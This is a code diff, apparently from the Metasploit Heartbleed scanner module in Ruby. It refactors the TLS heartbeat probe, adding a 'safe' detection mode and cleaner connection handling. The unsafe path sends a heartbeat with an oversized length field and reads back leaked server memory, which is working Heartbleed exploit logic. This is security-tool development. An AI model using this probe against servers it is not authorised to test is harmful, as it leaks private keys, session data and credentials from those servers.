@@ -143,6 +143,10 @@ def run
143
143
super
144
144
end
145
145
146
+ def max_record_length
147
+ 1 << 14
148
+ end
149
+
146
150
def heartbeat_length
147
151
datastore [ "HEARTBEAT_LENGTH" ]
148
152
end
@@ -227,8 +231,7 @@ def tls_ftp
227
231
end
228
232
229
233
def check_host ( ip )
230
- # TODO: this number can be lower
231
- heartbeat_data = test_host ( ip , 5000 )
234
+ heartbeat_data = test_host ( ip , true )
232
235
233
236
if heartbeat_data
234
237
return Exploit ::CheckCode ::Appears
@@ -237,65 +240,77 @@ def check_host(ip)
237
240
Exploit ::CheckCode ::Safe
238
241
end
239
242
240
- def test_host ( ip , length = heartbeat_length )
241
- connect
243
+ def test_host ( ip , safe = false )
244
+ heartbeat_data = nil
245
+ begin
246
+ connect
247
+
248
+ unless datastore [ 'STARTTLS' ] == 'None'
249
+ vprint_status ( "#{ peer } - Trying to start SSL via #{ datastore [ 'STARTTLS' ] } " )
250
+ res = self . send ( TLS_CALLBACKS [ datastore [ 'STARTTLS' ] ] )
251
+ if res . nil?
252
+ vprint_error ( "#{ peer } - STARTTLS failed..." )
253
+ return
254
+ end
255
+ end
256
+
257
+ vprint_status ( "#{ peer } - Sending Client Hello..." )
258
+ sock . put ( client_hello )
242
259
243
- unless datastore [ 'STARTTLS' ] == 'None'
244
- vprint_status ( "#{ peer } - Trying to start SSL via #{ datastore [ 'STARTTLS' ] } " )
245
- res = self . send ( TLS_CALLBACKS [ datastore [ 'STARTTLS' ] ] )
246
- if res . nil?
247
- vprint_error ( "#{ peer } - STARTTLS failed..." )
260
+ server_hello = sock . get
261
+ unless server_hello . unpack ( "C" ) . first == HANDSHAKE_RECORD_TYPE
262
+ vprint_error ( "#{ peer } - Server Hello Not Found" )
248
263
return
249
264
end
250
- end
251
265
252
- vprint_status ( "#{ peer } - Sending Client Hello..." )
253
- sock . put ( client_hello )
254
-
255
- server_hello = sock . get
256
- unless server_hello . unpack ( "C" ) . first == HANDSHAKE_RECORD_TYPE
257
- vprint_error ( "#{ peer } - Server Hello Not Found" )
258
- return
259
- end
266
+ vprint_status ( "#{ peer } - Sending Heartbeat..." )
267
+ if safe
268
+ sock . put ( heartbeat ( max_record_length - 3 , safe ) << heartbeat ( 0 , safe ) )
269
+ else
270
+ sock . put ( heartbeat ( heartbeat_length ) )
271
+ end
272
+ hdr = sock . get_once ( 5 )
273
+ if hdr . blank?
274
+ vprint_error ( "#{ peer } - No Heartbeat response..." )
275
+ return
276
+ end
260
277
261
- vprint_status ( "#{ peer } - Sending Heartbeat..." )
262
- sock . put ( heartbeat ( length ) )
263
- hdr = sock . get_once ( 5 )
264
- if hdr . blank?
265
- vprint_error ( "#{ peer } - No Heartbeat response..." )
266
- return
267
- end
278
+ unpacked = hdr . unpack ( 'Cnn' )
279
+ type = unpacked [ 0 ]
280
+ version = unpacked [ 1 ] # must match the type from client_hello
281
+ len = unpacked [ 2 ]
282
+
283
+ # try to get the TLS error
284
+ if type == ALERT_RECORD_TYPE
285
+ res = sock . get_once ( len )
286
+ alert_unp = res . unpack ( 'CC' )
287
+ alert_level = alert_unp [ 0 ]
288
+ alert_desc = alert_unp [ 1 ]
289
+ msg = "Unknown error"
290
+ # http://tools.ietf.org/html/rfc5246#section-7.2
291
+ case alert_desc
292
+ when 0x46
293
+ msg = "Protocol error. Looks like the chosen protocol is not supported."
294
+ end
295
+ vprint_error ( "#{ peer } - #{ msg } " )
296
+ return
297
+ end
268
298
269
- unpacked = hdr . unpack ( 'Cnn' )
270
- type = unpacked [ 0 ]
271
- version = unpacked [ 1 ] # must match the type from client_hello
272
- len = unpacked [ 2 ]
273
-
274
- # try to get the TLS error
275
- if type == ALERT_RECORD_TYPE
276
- res = sock . get_once ( len )
277
- alert_unp = res . unpack ( 'CC' )
278
- alert_level = alert_unp [ 0 ]
279
- alert_desc = alert_unp [ 1 ]
280
- msg = "Unknown error"
281
- # http://tools.ietf.org/html/rfc5246#section-7.2
282
- case alert_desc
283
- when 0x46
284
- msg = "Protocol error. Looks like the chosen protocol is not supported."
299
+ unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION [ datastore [ 'TLSVERSION' ] ]
300
+ vprint_error ( "#{ peer } - Unexpected Heartbeat response" )
301
+ return
285
302
end
286
- vprint_error ( "#{ peer } - #{ msg } " )
287
- disconnect
288
- return
289
- end
290
303
291
- unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION [ datastore [ 'TLSVERSION' ] ]
292
- vprint_error ( "#{ peer } - Unexpected Heartbeat response" )
304
+ vprint_status ( "#{ peer } - Heartbeat response, checking if there is data leaked..." )
305
+
306
+ length = safe ? max_record_length : heartbeat_length
307
+ heartbeat_data = sock . get_once ( length ) # Read the magic length...
308
+ rescue EOFError
309
+ vprint_error ( "#{ peer } - EOFError" )
310
+ ensure
293
311
disconnect
294
- return
295
312
end
296
-
297
- vprint_status ( "#{ peer } - Heartbeat response, checking if there is data leaked..." )
298
- sock . get_once ( length ) # Read the magic length...
313
+ heartbeat_data
299
314
end
300
315
301
316
def run_host ( ip )
@@ -333,12 +348,12 @@ def run_host(ip)
333
348
end
334
349
end
335
350
336
- def heartbeat ( length )
351
+ def heartbeat ( length , safe = false )
337
352
payload = "\x01 " # Heartbeat Message Type: Request (1)
338
353
payload << [ length ] . pack ( "n" ) # Payload Length: 65535
339
354
340
355
# handle safe detection
341
- if length != heartbeat_length
356
+ if safe
342
357
payload << Array . new ( length , 1 ) . pack ( "C*" ) # Dummy values
343
358
end
344
359
0 commit comments